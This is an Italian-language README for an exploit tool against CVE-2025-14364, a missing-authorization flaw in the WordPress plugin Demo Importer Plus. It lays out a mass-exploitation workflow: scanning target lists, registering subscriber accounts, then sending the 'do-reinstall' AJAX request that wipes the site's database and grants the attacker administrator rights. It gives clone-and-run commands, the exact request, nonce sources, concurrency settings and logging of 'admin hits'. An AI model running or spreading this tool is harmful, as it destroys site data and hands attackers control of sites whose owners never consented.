
Demo Importer Plus <= 2.0.8 - Autorizzazione mancante per il Reset del sito e l'Escalation dei privilegi da parte di utenti autenticati (Subscriber+)
Demo Importer Plus <= 2.0.8 - Autorizzazione mancante per il Reset del Sito da parte di utenti autenticati (Subscriber+) ed Escalation dei Privilegi
_ _ _ _ _ _ _ _
/ \ / |_ __ ) / \ ) |_ __ /| |_|_ _) |_ |_|_
\_ \/ |_ /_ \_/ /_ _) | | _) |_) |
Da Subscriber autenticato ad Amministratore tramite l'azione AJAX
do-reinstall
| CVE | CVE-2025-14364 |
| CVSS v3.1 | 8.8 ALTA — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| Plugin | Demo Importer Plus |
| Versioni coinvolte | Tutte le versioni ≤ 2.0.8 |
| Autenticazione richiesta | Subscriber (ruolo registrato minimo) |
| Tipo | Controllo delle capacità mancante → Reset completo del sito → Escalation dei privilegi |
| CWE | CWE-862 · Autorizzazione mancante |
Causa principale:
Ajax::handle_request() registra l'azione AJAX demo_importer_plus senza chiamare current_user_can(). Qualsiasi subscriber autenticato può inviare {"demo_action":"do-reinstall"} per attivare wp_install(), che elimina tutte le tabelle del database (tranne users / usermeta) e riesegue la configurazione di WordPress — assegnando automaticamente il ruolo di Amministratore all'account dell'attaccante durante il processo.
Mode 1 — Diagnose
Probe: DNS · /wp-login.php · /wp-admin/admin-ajax.php · REST /wp/v2/users
→ Identifica i target WordPress attivi
Mode 2 — Register
POST /wp-login.php?action=register
→ Crea un account subscriber
→ Email di attivazione inviata alla casella di posta
↳ Devi cliccare il link nell'email prima di eseguire la Mode 3
Mode 3 — Exploit
POST /wp-login.php → Autenticazione come subscriber
GET /wp-admin/ → Estrazione wp-rest-nonce
POST /wp-admin/admin-ajax.php
action=demo_importer_plus
{"demo_action":"do-reinstall"} → Attiva il reset completo del sito
← Risposta: "Site has been reset successfully"
→ L'account dell'attaccante ora possiede il ruolo di Amministratore
git clone https://github.com/Nxploited/CVE-2025-14364.git
cd CVE-2025-14364
pip install -r requirements.txt
python3 CVE-2025-14364.py
requirements.txt
aiohttp>=3.9.0
colorama>=0.4.6
urllib3>=1.26.0
Mode [1/2/3]: 1 = Diagnose 2 = Register 3 = Exploit
File dei target: list.txt (un host per riga)
Concorrenza: default 30, max 200
Timeout: default 10s
Formato dei target — list.txt:
https://target1.com
target2.com
http://target3.com
Sonda quattro endpoint per host e scrive risultati puliti.
Mode: 1
Output → diagnostics_results.txt · passed_targets.txt
Mode: 2
Email: [email protected]
Username: Nxploited
Password: NxploitedSA
Controlla la tua casella di posta e clicca il link di attivazione prima di eseguire la Mode 3.
Output → register_results.txt
Mode: 3
Username: Nxploited
Password: NxploitedSA
In caso di successo lo strumento stampa:
[HH:MM:SS] SUCCESS "success":true,"message":"Site has been reset successfully" -> https://target.com
E scrive in exploit_results.txt:
https://target.com/wp-login.php site:... user:Nxploited pass:NxploitedSA type:admin
| File | Contenuto |
|---|---|
diagnostics_results.txt | JSON completo della scansione per ogni target |
passed_targets.txt | Target puliti (nessun errore rilevato) |
register_results.txt | Registro dei tentativi di registrazione |
exploit_results.txt | Login · nonce · risultati del reset · hit admin confermati |
reset_results.txt | Risposta grezza di do-reinstall per ogni target |
Richiesta vulnerabile:
POST /wp-admin/admin-ajax.php?action=demo_importer_plus HTTP/1.1
Content-Type: application/json
X-WP-Nonce: <extracted_nonce>
{"demo_action":"do-reinstall"}
Risposta di successo:
{"success": true, "data": {"message": "Site has been reset successfully"}}
Estrazione del nonce — due fonti alternative:
wpApiSettings.nonce (dal sorgente della pagina /wp-admin/)
elementorOneSettingsData.wpRestNonce (fallback)
By : Nxploited (Khaled Alenazi)
GitHub : https://github.com/Nxploited
Telegram : @KNxploited
QUESTO SOFTWARE È RILASCIATO ESCLUSIVAMENTE PER RICERCA SULLA SICUREZZA E FINI EDUCATIVI.
L'autore non si assume alcuna responsabilità per azioni compiute con questo strumento
contro sistemi di cui l'operatore non è proprietario o per i quali non dispone di
esplicita autorizzazione scritta al test.
L'uso non autorizzato contro sistemi di terze parti viola le leggi sui crimini informatici
nella maggior parte delle giurisdizioni (CFAA, CMA ed equivalenti a livello mondiale)
e può comportare azioni penali.
Sei l'unico responsabile di accertarti di avere il permesso legale
prima di eseguire questo strumento contro qualsiasi target.